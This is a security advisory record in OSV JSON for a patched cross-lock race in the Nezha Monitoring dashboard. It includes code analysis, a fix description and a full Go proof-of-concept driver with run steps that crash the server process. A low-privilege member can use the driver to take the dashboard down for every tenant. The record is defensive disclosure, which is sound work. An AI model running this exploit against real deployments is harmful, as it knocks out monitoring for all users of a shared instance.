{"schema_version":"1.9.0","id":"GHSA-qjpp-gffx-2wm9","published":"2026-10-15T20:15:06Z","modified":"2026-10-15T20:30:08.553884002Z","aliases":["CVE-2026-100394"],"summary":"Nezha Monitoring: Whole-instance DoS in Nezha dashboard: a member can crash the process for every tenant","details":"## Summary\n\nA single low-privilege `RoleMember` can take the entire Nezha dashboard offline, and with it every tenant's web UI, REST API, and agent connections, by racing two ordinary operations on their own service. The crash is a nil pointer dereference in the service-monitor worker at `service/singleton/servicesentinel.go:601`. The worker checks a service exists under one lock and later writes to two pointer-valued status maps under a different lock; a concurrent delete removes the entries in the gap. Because the gRPC server has no recovery interceptor, the worker-goroutine panic kills the whole process. Availability only: nothing is read or modified.\n\n## Affected versions\n\nConfirmed in `v2.2.7` through `v2.2.10`. `service/singleton/servicesentinel.go` has the same vulnerable implementation in all four releases. The issue is fixed in `v2.2.11` and later; users should upgrade to the latest release, `v2.3.0`. \n\n## The bug\n\nThe worker validates an incoming report and later writes it to two status maps, but the check and the write are guarded by two different locks taken at two different times. Between them, the same member can delete the service and pull the map entries out from under the worker.\n\nThe maps hold pointers, so a missing key returns nil and the first field write through it panics:\n\n```\n73:  serviceStatusToday       map[uint64]*_TodayStatsOfService\n74:  serviceCurrentStatusData map[uint64]*serviceTaskStatus\n```\n\nThe worker checks presence via `Get`, which takes `servicesLock` and releases it. `canReportServiceResult` rejects a nil service here, so at this point the service is known to exist:\n\n```\n532:  cs, _ := ss.Get(r.Data.GetId())          // servicesLock.RLock / RUnlock\n535:  if !canReportServiceResult(cs, reporter, r.Data.GetType()) { continue }\n```\n\nFor TCP/ICMP ping results, every `AvgPingCount` (default 2, TSDB off) the worker does a synchronous `DB.Create` at `:569` holding neither status-map lock, which stretches the gap into an easily raceable window. It then takes a *different* lock and dereferences the maps with no recheck and no lazy create:\n\n```\n597:  ss.serviceResponseDataStoreLock.Lock()\n600:  ss.serviceStatusToday[mh.GetId()].Delay = ...   // nil deref if deleted meanwhile\n609:  ss.serviceCurrentStatusData[mh.GetId()].t ...   // same hazard\n```\n\nMeanwhile `Delete` removes both entries under `serviceResponseDataStoreLock`, running on the HTTP-handler goroutine, a different goroutine from the single worker:\n\n```\n378:  func (ss *ServiceSentinel) Delete(ids []uint64) {\n387:      delete(ss.serviceCurrentStatusData, id)\n390:      delete(ss.serviceStatusToday, id)\n```\n\nThe precise point: the check reads the `services` map under `servicesLock`; the write touches `serviceStatusToday` under `serviceResponseDataStoreLock`. Holding the second lock at `:600` proves nothing about whether the entry survived, because the delete ran under that same lock while the worker was still busy between the two operations. This is a cross-lock TOCTOU, not a data race. Every access to the two maps is correctly synchronized under one lock, so `-race` reports nothing; the staleness lives across the two locks, not inside one memory location.\n\nTwo supporting facts. The ping map a few lines up self-heals on a miss (`:543`), so it never faces this; the two status maps never do. And the gRPC server is built with only real-IP and WAF interceptors (`cmd/dashboard/rpc/rpc.go:37`), no recovery, so the worker panic is fatal to the whole process rather than a dropped request.\n\n## Reachability\n\nBoth legs are things a member is meant to do with their own resources: report ping results over gRPC with their own agent secret, and create/delete their own service over `POST /api/v1/service` and `POST /api/v1/batch-delete/service`, which pass `CheckPermission` for an owned service. No admin rights, no other tenant involved. `batchDeleteService` reaches `ServiceSentinel.Delete` synchronously on a separate goroutine from the worker, so the two interleave freely.\n\n## Code flow\n\n```\nmember agent -> gRPC RequestTask stream -> TaskResult{Id: ownedSvc, Type: TCPPing}\n  -> service/rpc/nezha.go: IsServiceSentinelNeeded(TCPPing) -> Dispatch(ReportData{...})\n  -> serviceReportChannel -> single worker goroutine:\n        Get(id)  [servicesLock] present ......+  <- TOCTOU check (:532/:535)\n        DB.Create(ServiceHistory)  (gap)      |\n                                              |  member HTTP: POST /api/v1/batch-delete/service\n                                              |  -> batchDeleteService (CheckPermission: own OK)\n                                              |  -> ServiceSentinel.Delete([id]) (synchronous)\n                                              |     [serviceResponseDataStoreLock] delete(serviceStatusToday,id)\n        serviceResponseDataStoreLock.Lock() <-+\n        serviceStatusToday[id].Delay = ...      <- id now absent -> nil deref -> SIGSEGV (:600)\n```\n\n## Proof of concept\n\nEnvironment: dashboard built from `fd31e5f1` on go1.26.4, SQLite, bound to `127.0.0.1:8008`, with `avg_ping_count: 2` and TSDB disabled (both defaults). Everything runs against the real running binary using the project's own generated proto client and a plain HTTP client. No mocks, no in-process calls. The driver uses only the member's own credentials, targets only the member's own service, and is strictly for local authorized testing.\n\n### The driver\n\nPlaced at `cmd/pocdos/main.go` inside a checkout of the target repo (so the `github.com/nezhahq/nezha/proto` import resolves), built with `go build ./cmd/pocdos`.\n\n```go\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"math/rand\"\n\t\"net/http\"\n\t\"os\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n\t\"google.golang.org/grpc/metadata\"\n\n\tpb \"github.com/nezhahq/nezha/proto\"\n)\n\nvar (\n\tgrpcAddr = flag.String(\"grpc\", \"127.0.0.1:8008\", \"\")\n\tbaseURL  = flag.String(\"url\", \"http://127.0.0.1:8008\", \"\")\n\tsecret   = flag.String(\"secret\", \"\", \"m1 agent secret\")\n\tuuid     = flag.String(\"uuid\", \"aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa\", \"\")\n\ttoken    = flag.String(\"token\", \"\", \"m1 jwt\")\n\tcsrf     = flag.String(\"csrf\", \"\", \"m1 csrf\")\n\tdur      = flag.Duration(\"dur\", 90*time.Second, \"\")\n\tchurn    = flag.Int(\"churn\", 16, \"concurrent create/delete workers\")\n)\n\nvar httpc = &http.Client{Timeout: 5 * time.Second, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, MaxIdleConnsPerHost: 256}}\n\nfunc req(method, path string, body []byte) ([]byte, int) {\n\tr, _ := http.NewRequest(method, *baseURL+path, bytes.NewReader(body))\n\tr.Header.Set(\"Content-Type\", \"application/json\")\n\tr.Header.Set(\"Authorization\", \"Bearer \"+*token)\n\tr.Header.Set(\"X-CSRF-Token\", *csrf)\n\tr.AddCookie(&http.Cookie{Name: \"nz-csrf\", Value: *csrf})\n\tr.AddCookie(&http.Cookie{Name: \"nz-jwt\", Value: *token})\n\tresp, err := httpc.Do(r)\n\tif err != nil {\n\t\treturn []byte(err.Error()), 0\n\t}\n\tdefer resp.Body.Close()\n\tb, _ := io.ReadAll(resp.Body)\n\treturn b, resp.StatusCode\n}\n\nfunc createSvc() (uint64, bool) {\n\tb, _ := req(\"POST\", \"/api/v1/service\", []byte(`{\"name\":\"p\",\"target\":\"127.0.0.1:8008\",\"type\":3,\"cover\":0,\"duration\":30}`))\n\tvar id uint64\n\tif n, _ := fmt.Sscanf(string(b), `{\"success\":true,\"data\":%d}`, &id); n == 1 {\n\t\treturn id, true\n\t}\n\treturn 0, false\n}\n\nfunc deleteSvc(id uint64) {\n\treq(\"POST\", \"/api/v1/batch-delete/service\", []byte(fmt.Sprintf(\"[%d]\", id)))\n}\n\nfunc main() {\n\tflag.Parse()\n\trand.Seed(time.Now().UnixNano())\n\n\tconn, err := grpc.NewClient(*grpcAddr, grpc.WithTransportCredentials(insecure.NewCredentials()))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tcli := pb.NewNezhaServiceClient(conn)\n\tauthCtx := func(ctx context.Context) context.Context {\n\t\treturn metadata.AppendToOutgoingContext(ctx, \"client_uuid\", *uuid, \"client_secret\", *secret)\n\t}\n\n\t// 1) register a server owned by m1\n\tif _, err := cli.ReportSystemInfo2(authCtx(context.Background()), &pb.Host{Platform: \"poc\", Arch: \"poc\"}); err != nil {\n\t\tlog.Fatalf(\"register(ReportSystemInfo2) rejected: %v\", err)\n\t}\n\tlog.Println(\"server registered as m1 agent\")\n\n\t// 2) open the RequestTask bidi stream (this agent now holds the task stream)\n\tstream, err := cli.RequestTask(authCtx(context.Background()))\n\tif err != nil {\n\t\tlog.Fatalf(\"RequestTask open: %v\", err)\n\t}\n\tgo func() { // drain server->agent Task frames\n\t\tfor {\n\t\t\tif _, err := stream.Recv(); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}()\n\n\t// shared set of currently-alive service ids\n\tvar mu sync.Mutex\n\tactive := map[uint64]struct{}{}\n\taddID := func(id uint64) { mu.Lock(); active[id] = struct{}{}; mu.Unlock() }\n\tdelID := func(id uint64) { mu.Lock(); delete(active, id); mu.Unlock() }\n\tsnapshot := func() []uint64 {\n\t\tmu.Lock()\n\t\tdefer mu.Unlock()\n\t\tout := make([]uint64, 0, len(active))\n\t\tfor id := range active {\n\t\t\tout = append(out, id)\n\t\t}\n\t\treturn out\n\t}\n\n\tvar sent, dels int64\n\tstop := time.After(*dur)\n\tvar wg sync.WaitGroup\n\n\t// churn workers: create -> arm -> delete\n\tfor i := 0; i < *churn; i++ {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\tfor {\n\t\t\t\tselect {\n\t\t\t\tcase <-stop:\n\t\t\t\t\treturn\n\t\t\t\tdefault:\n\t\t\t\t}\n\t\t\t\tid, ok := createSvc()\n\t\t\t\tif !ok {\n\t\t\t\t\ttime.Sleep(time.Millisecond)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\taddID(id)\n\t\t\t\t// let the flood push a few reports for this id into the worker's gap\n\t\t\t\ttime.Sleep(time.Duration(1+rand.Intn(3)) * time.Millisecond)\n\t\t\t\tdeleteSvc(id)\n\t\t\t\tdelID(id)\n\t\t\t\tatomic.AddInt64(&dels, 1)\n\t\t\t}\n\t\t}()\n\t}\n\n\t// single flood goroutine (grpc stream Send is not concurrency-safe)\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-stop:\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t}\n\t\t\tids := snapshot()\n\t\t\tfor _, id := range ids {\n\t\t\t\tif err := stream.Send(&pb.TaskResult{\n\t\t\t\t\tId:         id,\n\t\t\t\t\tType:       3, // TCPPing\n\t\t\t\t\tDelay:      float32(1 + rand.Intn(50)),\n\t\t\t\t\tSuccessful: true,\n\t\t\t\t}); err != nil {\n\t\t\t\t\tfmt.Printf(\"STREAM_SEND_ERR=%v (dashboard likely crashed)\\n\", err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tatomic.AddInt64(&sent, 1)\n\t\t\t}\n\t\t}\n\t}()\n\n\t// liveness probe: if the dashboard process dies, the API stops answering\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-stop:\n\t\t\t\treturn\n\t\t\tcase <-time.After(500 * time.Millisecond):\n\t\t\t\t_, code := req(\"GET\", \"/api/v1/user\", nil)\n\t\t\t\tif code == 0 {\n\t\t\t\t\tfmt.Printf(\"LIVENESS_FAIL at sent=%d dels=%d, dashboard not answering\\n\", atomic.LoadInt64(&sent), atomic.LoadInt64(&dels))\n\t\t\t\t\tos.Exit(7)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\twg.Wait()\n\tfmt.Printf(\"DONE without crash: sent=%d deletes=%d\\n\", atomic.LoadInt64(&sent), atomic.LoadInt64(&dels))\n}\n```\n\nThe gRPC leg registers a server under the member's own agent secret via `ReportSystemInfo2`, opens `RequestTask`, then floods `TaskResult{Type: 3 (TCPPing)}` for every alive service id from a single goroutine (`stream.Send` is not concurrency-safe). The REST leg's churn workers loop `createSvc` → sleep 1–3 ms to let the flood push repeated reports into the worker's gap → `deleteSvc`, which fires `ServiceSentinel.Delete` and removes the map entry the worker is about to dereference. The liveness probe hits `GET /api/v1/user` every 500 ms and exits 7 on connection refused, which is the crash signal.\n\n### Steps to reproduce\n\n1. In a checkout of nezha at `fd31e5f1`, drop the file at `cmd/pocdos/main.go` and build: `go build -o pocdos ./cmd/pocdos`.\n2. Start the dashboard (SQLite, `avg_ping_count: 2`, TSDB off) and complete first-run. Create a `RoleMember`, register a server under its agent secret, and log the member in to obtain its JWT and CSRF.\n3. Run with the member's own credentials: `./pocdos -secret \"$M1_AGENT_SECRET\" -token \"$M1_JWT\" -csrf \"$M1_CSRF\" -dur 30s -churn 4`.\n\n### Results\n\nOn an unpatched build the driver prints `STREAM_SEND_ERR=EOF` + `LIVENESS_FAIL` + exit 7 within about half a second, and the dashboard's stderr shows the panic:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x12966c8]\ngithub.com/nezhahq/nezha/service/singleton.(*ServiceSentinel).worker(...)\n    .../service/singleton/servicesentinel.go:601\ncreated by ...NewServiceSentinel in goroutine 1\n    .../service/singleton/servicesentinel.go:127\n```\n\nProcess death confirmed right after: `ps -p <pid>` shows the pid gone, `curl http://127.0.0.1:8008/api/v1/` returns `http_code=000`, `ss -ltn | grep 8008` shows no listener.\n\nUnder `go build -race` the same run reports zero `WARNING: DATA RACE` and still crashes with the identical nil-deref, which confirms this is a logical cross-lock TOCTOU rather than a memory race. Under a normal build, reproducibility with a fresh database per trial, a 30-second cap, and four churn workers was 5 of 5, mean time-to-crash 0.5s. Each individual window is small, but the driver retries it tens of thousands of times a second and wins by volume, so it is fast and reliable, not a lucky single shot. `-churn 4` was already 5/5; the `16` default is heavier than needed.\n\n\n## Fix\n\nFixed in commit `c893aa57867d8a3d608e2f2f16d1594c9766cdf3`, released as `v2.2.11` and `v2.3.0`. The worker now acquires `serviceResponseDataStoreLock` before any report side effect, re-reads the current service and status entries, and re-runs `canReportServiceResult` while the lifecycle lock is held. `Delete` and `Update` therefore serialize with report processing, so reports for deleted services or reports invalidated by an update are discarded before history, status, notification, or TLS side effects.\n\nThe fix also clears ping and TLS caches during deletion and makes `LoadStats` follow the lifecycle lock order, preventing stale cache state and an ABBA deadlock window. Deterministic lifecycle tests cover deletion, update revalidation, lock order, and TLS side effects. The full unit suite, race-and-shuffle suite, `go vet`, CodeQL, and release builds passed before publication.","affected":[{"package":{"name":"github.com/nezhahq/nezha","ecosystem":"Go","purl":"pkg:golang/github.com/nezhahq/nezha"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-20260628010923-fd31e5f1b0f8"},{"fixed":"0.0.0-20260721131105-c893aa57867d"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-qjpp-gffx-2wm9/GHSA-qjpp-gffx-2wm9.json"}}],"references":[{"type":"WEB","url":"https://github.com/nezhahq/nezha/security/advisories/GHSA-qjpp-gffx-2wm9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100394"},{"type":"WEB","url":"https://github.com/nezhahq/nezha/commit/c893aa57867d8a3d608e2f2f16d1594c9766cdf3"},{"type":"PACKAGE","url":"https://github.com/nezhahq/nezha"},{"type":"WEB","url":"https://github.com/nezhahq/nezha/releases/tag/v2.2.11"},{"type":"WEB","url":"https://github.com/nezhahq/nezha/releases/tag/v2.3.0"}],"database_specific":{"cwe_ids":["CWE-362","CWE-476"],"github_reviewed":true,"github_reviewed_at":"2026-10-15T20:15:06Z","nvd_published_at":"2026-10-14T16:17:28Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}]}